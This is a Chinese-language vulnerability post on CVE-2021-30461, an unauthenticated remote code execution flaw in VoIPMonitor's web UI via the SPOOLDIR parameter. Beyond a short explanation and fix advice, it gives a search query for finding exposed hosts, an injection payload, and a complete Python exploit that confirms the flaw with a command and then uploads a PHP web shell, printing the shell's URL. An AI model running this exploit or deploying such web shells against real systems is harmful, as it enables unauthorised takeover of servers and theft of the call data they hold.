VoIPMonitor未授权远程代码执行漏洞

  • 0X001前言
  • 0X002 漏洞影响
  • 0X003 漏洞原理
  • 0X004 漏洞复现
    • 0X041 空间搜索寻找目标
    • 0X042 测试代码执行
  • 0X005 POC
  • 0X006 修复建议

0X001前言

VoIPmonitor是“具有在Linux上运行的SIP RTP和RTCP VoIP协议的具有商业前端的开源网络数据包嗅探器”。
使用通过Web界面到达的用户提供的数据,允许未经身份验证的远程用户触发VoIPmonitor中的远程PHP代码执行漏洞。

0X002 漏洞影响

恶意攻击者可以执行任意系统命令。

0X003 漏洞原理

由于对恶意功能的过滤不当,攻击者可以通过VoIPMonitor的Web UI的PHP应用程序运行命令。
使用SPOOLDIR和recheck参数对index.php文件发出POST请求时,可以触发该漏洞。
这是由于以下事实:将SPOOLDIR值引入到config/configuration.php文件中,该文件随后由UI界面调用。
该SPOOLDIR值按原样放置在PHP源代码中,允许远程攻击者插入任意命令以及该参数的预期值。

0X004 漏洞复现

0X041 空间搜索寻找目标

搜索语法:title="VoIPmonitor"

0X042 测试代码执行

将get请求修改未post请求,条件date数据:

SPOOLDIR=test".system([命令])."&recheck=annen

0X005 POC

import argparse
from sys import argv,exit
import time
import random
import stringtry:import requests
except ImportError:print("pip3 install requests ")print("""
###############################################
#              VOIP Monitor RCE               #
###############################################
""")headers = {"User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:86.0) Gecko/20100101 Firefox/86.0", "Accept": "*/*", "Accept-Language": "en-US,en;q=0.5", "Accept-Encoding": "gzip, deflate", "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8", "Connection": "close"}def get_target(args):hostname = args.hostpath = args.pathif path:return f"http://{hostname}/{path}/index.php"else:return f"http://{hostname}/index.php"def set_tmp(args):global headerstarget = get_target(args)n_data = {"SPOOLDIR": "/tmp", "recheck": "annen"}set_totmp = requests.post(target, n_data, headers=headers)print(f"[*] set /tmp {set_totmp}")def checkVulnerability(args):global headerstarget = get_target(args)print(f"[+] Attacking {target}")testcmd = {"SPOOLDIR": "test\".system(id).\"", "recheck": "annen"}response_text = b"uid="testcmd_req = requests.post(target, testcmd, verify=False, headers=headers)if response_text in testcmd_req.content:print("[*] host is vulnerable")else:print("[-] host is not vulnerable")exit()def uploadshell(args):global headershostname = args.hostpath = args.pathshell_path = ""shellfilename = str ( ''.join(random.choice(string.ascii_lowercase) for i in range(10)) )target = get_target(args)rce_payload = {"SPOOLDIR": f"/tmp\".file_put_contents('{shellfilename}.php','<?php echo system($_GET[\"a\"]);').\"", "recheck": "annen"}rce_req = requests.post(target, headers=headers, data=rce_payload)print(f"[*] uploading shell {rce_req.status_code}")if path:shell_path = f"http://{hostname}/{path}/{shellfilename}.php"else:shell_path = f"http://{hostname}/{shellfilename}.php"shell_check = requests.get(shell_path, headers=headers, params={'a':'id'})print(f"[*] RCE Check : {shell_check.text}")print(f"[*] Your Shell at {shell_path}")def main():parser = argparse.ArgumentParser(description='VoIP Monitor all versions command execution')parser.add_argument('-t','--host',help='Host', type=str)parser.add_argument('-b', '--path',help='Path of the VoIP Monitor', type=str)args = parser.parse_args()set_tmp(args)checkVulnerability(args)set_tmp(args)uploadshell(args)set_tmp(args)if __name__ == "__main__":main()

0X006 修复建议

过滤SPOOLDIR参数,拦截或者转义命令语句。

CVE-2021-30461 - VoIPMonitor未授权远程代码执行漏洞相关推荐

  1. Gitea 1.4 未授权远程代码执行漏洞复现

    ​Gitea 1.4 未授权远程代码执行 一.漏洞描述 Gitea是从gogs衍生出的一个开源项目,是一个类似于Github.Gitlab的多用户Git仓库管理平台.其1.4.0版本中有一处逻辑错误, ...

  2. Nette框架未授权任意代码执行漏洞分析

    Nette框架未授权任意代码执行漏洞分析 漏洞介绍: Nette Framework 是个强大,基于组件的事件驱动 PHP 框架,用来创建 web 应用.Nette Framework 是个现代化风格 ...

  3. 绿盟科技网络安全威胁周报2017.17 请关注Squirrelmail 远程代码执行漏洞CVE-2017-7692...

    绿盟科技发布了本周安全通告,周报编号NSFOCUS-17-17,绿盟科技漏洞库本周新增84条,其中高危40条.本次周报建议大家关注 Squirrelmail 远程代码执行漏洞 .SquirrelMai ...

  4. 通达OA未授权任意文件上传及文件包含导致远程代码执行漏洞

    0x00 前言 通达OA(Office Anywhere网络智能办公系统)是由北京通达信科科技有限公司自主研发的协同办公自动化软件,是与中国企业管理实践相结合形成的综合管理办公平台. 0x01 漏洞简 ...

  5. php x24 x65 x6d x61,Jboss远程代码执行漏洞CVE:2013-4810获得system权限

    此方法成功的渗透至Windows系统并获得最高权限exp 此方法成功的渗透至Windows系统并获得最高权限 exp ?php/*Apache Tomcat/JBoss EJBInvokerServl ...

  6. 【安全风险通告】Spring Framework远程代码执行漏洞(CVE-2022-22965)安全风险通告第二次更新...

    奇安信CERT 致力于第一时间为企业级用户提供安全风险通告和有效解决方案. 安全通告 近日,奇安信CERT监测到Spring Framework存在远程代码执行漏洞(CVE-2022-22965),在 ...

  7. 详述 PyPI 中的远程代码执行漏洞,可引发供应链攻击

     聚焦源代码安全,网罗国内外最新资讯! 编译:奇安信代码卫士 日本安全研究员RyotaK 曾在上周发现Cloudflare 公司CDNJS 服务中的一个漏洞,可导致第三方在当前12%的网站上运行恶意代 ...

  8. drupal cve-2018-7600 远程代码执行漏洞 简介

    漏洞分析 Drupal 在 3 月 28 日爆出一个远程代码执行漏洞,CVE 编号 CVE-2018-7600,通过对比官方的补丁,可以得知是请求中存在 # 开头的参数.Drupal Render A ...

  9. [系统安全] 十.Windows漏洞利用之SMBv3服务远程代码执行漏洞(CVE-2020-0796)及防御详解

    您可能之前看到过我写的类似文章,为什么还要重复撰写呢?只是想更好地帮助初学者了解病毒逆向分析和系统安全,更加成体系且不破坏之前的系列.因此,我重新开设了这个专栏,准备系统整理和深入学习系统安全.逆向分 ...

最新文章

  1. 718. Maximum Length of Repeated Subarray 最长重复子数组
  2. 西南大学网络教育学院计算机答案,西南大学网络与继续教育学院课程《数字信号处理》2018年春季大作业机考 答案.doc...
  3. 笔记本电脑频繁自动重启_笔记本电脑自动重启是什么原因
  4. 网页设计图片向上浮动_利用js实现图片在浏览器中飘动(浮动窗口自由移动)效果...
  5. python连等号_Python比较2列表和2元组用等号
  6. python 相关性检验怎么计算p值_生信工具 | 相关性热图还能玩出什么花样?
  7. Linux netfilter源码分析(5)
  8. JAVA EE(简述)
  9. docker非常详细的介绍
  10. 2D空间中求线段与圆的交点
  11. java 中文字符串 排序_Java实现对中文字符串的排序功能实例代码
  12. 线程的创建方式及Runnable与Callable的区别
  13. setup factory制作安装包卸载出错“Invalid start mode:archive filename”
  14. 北京世园会率先启用5G技术 中国馆优雅呈现
  15. rejected X11 forwarding request错误
  16. j3455跑mysql_基于J3455搭建NAS
  17. 2017年小老虎软考辅导视频访问量备忘录
  18. 2018 CodeM资格赛 下单
  19. 音乐播放(Toggle PlayerPrefs)
  20. 济南计算机学院排名,济南市最好的10所大学排名,山大第1,山东师范第3,济南大学第7...

热门文章

  1. 长江雨课堂考试半自动答题python脚本
  2. 企业微信X微盛联合发布会回顾:All in企业微信赛道两年,微盛的增长逻辑
  3. CentOS的U盘安装,vim主题设置,笔记本合盖不休眠
  4. PCB过孔的孔径大小对通流的影响
  5. excel中单元格的绝对引用和相对引用
  6. 创建一个简单的后台教务管理系统,包含动态增删改查学生,年级和课程信息及查看登录日志等功能,包含表单验证.
  7. GCPC 13 A Boggle 暴力,Trie剪枝
  8. 林锐博士的自传--大学十年
  9. 高通SDX12:USB3.0驱动初始化代码分析
  10. 当发现以前的自己是个傻逼时,该如何面对以后的人生